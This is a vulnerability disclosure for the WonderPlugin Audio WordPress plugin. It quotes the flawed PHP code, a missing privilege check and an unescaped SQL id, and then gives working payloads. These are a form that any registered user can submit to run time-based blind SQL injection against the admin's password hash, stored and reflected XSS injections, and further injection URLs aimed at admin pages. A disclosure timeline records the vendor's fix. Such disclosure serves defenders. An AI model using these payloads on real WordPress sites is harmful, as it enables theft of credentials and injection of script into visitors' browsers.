wp_ajax_save_item()
is accessible for every registered user (admin privileges are not checked).
File: wonderplugin-audio\wonderpluginaudio.php
add_action( 'wp_ajax_wonderplugin_audio_save_item', array($this, 'wp_ajax_save_item') );
function wp_ajax_save_item() {
header('Content-Type: application/json');
echo json_encode($this->wonderplugin_audio_controller->save_item($_POST["item"]));
die();
}
save_item()
uses is_id_exist()
in which $id
is not escaped properly.
File: wonderplugin-audio\app\class-wonderplugin-audio-model.php
function is_id_exist($id)
{
global $wpdb;
$table_name = $wpdb->prefix . "wonderplugin_audio";
$audio_row = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $id");
return ($audio_row != null);
}
$id
is also not escaped inside generate_body_code()
, clone_item()
, and get_item_data()
but those places are not accessible for non-admin users.
What is more $_REQUEST['itemid']
can be also used for reflected XSS.
Proof of Concept
Login as standard user (created using wp-login.php?action=register) then:
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
<input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
<input type="submit" value="Hack!">
</form>
This sql will check if first password character user ID=1 is "$".
If yes it will sleep 5 seconds.
For XSS use:
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
<input type="hidden" name="item[id]" value="1">
<input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
<input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
<input type="submit" value="Hack!">
</form>
It will be visible on every page where shortcode wonderplugin_audio
is used and also in admin panel:
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items
Another Blind SQL payloads which will work only for users with admin privileges:
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_item&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items&action=clone&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_edit_item&itemid=1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)
For reflected XSS use:
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_item&itemid=\"><script>alert(String.fromCharCode(88,83,83));</script>
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_edit_item&itemid=\"><script>alert(String.fromCharCode(88,83,83));</script>
Timeline
- 20-01-2015: Discovered
- 20-01-2015: Vendor notified
- 21-01-2015: Version 2.1 released, issue resolved